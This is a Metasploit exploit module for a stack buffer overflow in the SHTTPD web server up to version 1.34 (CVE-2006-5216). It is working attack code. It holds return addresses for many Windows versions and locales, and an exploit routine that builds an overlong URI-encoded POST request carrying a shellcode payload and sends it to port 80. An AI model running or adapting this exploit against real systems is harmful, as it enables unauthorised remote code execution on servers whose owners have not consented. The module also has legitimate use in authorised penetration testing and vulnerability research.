SHTTPD URI-Encoded POST Request Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SHTTPD URI-Encoded POST Request Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SHTTPD <= 1.34.
        The vulnerability is caused due to a boundary error within the
        handling of POST requests. Based on an original exploit by skOd
        but using a different method found by hdm.
      },
      'Author'         => [ 'LMH <lmh[at]info-pull.com>', 'hdm', 'skOd'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-5216'],
          [ 'OSVDB', '29565' ],
          [ 'URL', 'http://shttpd.sourceforge.net'],
          [ 'BID', '20393'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Except for Spanish locale target, all come from:
          [ 'Windows NT English SP5-SP6',			{ 'Ret' => 0x776a183a } ],
          [ 'Windows 2000 Spanish SP4',			{ 'Ret' => 0x79496391 } ],
          [ 'Windows 2000 French SP4',			{ 'Ret' => 0x74fb108d } ],
          [ 'Windows 2000 English SP0-SP4',			{ 'Ret' => 0x75021421 } ],
          [ 'Windows 2000 French SP0-SP4',			{ 'Ret' => 0x74fa3144 } ],
          [ 'Windows 2003 Server English SP0-SP1',	{ 'Ret' => 0x77d877d3 } ],
          [ 'Windows XP German SP2',				{ 'Ret' => 0x71a02975 } ],
          [ 'Windows XP German SP1',				{ 'Ret' => 0x71a02a6a } ],
          [ 'Windows XP English SP2',				{ 'Ret' => 0x71aa1e08 } ],
          [ 'Windows XP English SP0-SP1',			{ 'Ret' => 0x71aa1aaa } ],
        ],
      'DisclosureDate' => '2006-10-06'))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def exploit
    connect

    pat = rand_text_alphanumeric(4000)
    pat[8,4] = [target.ret].pack('V')
    pat[103, payload.encoded.length] = payload.encoded
    pat = Rex::Text.uri_encode(pat)

    res = "post /#{pat} HTTP/1.0\r\n\r\n"

    print_status("Trying target address 0x%.8x..." % target.ret)
    sock.put(res)
    sock.close

    handler
    disconnect
  end
end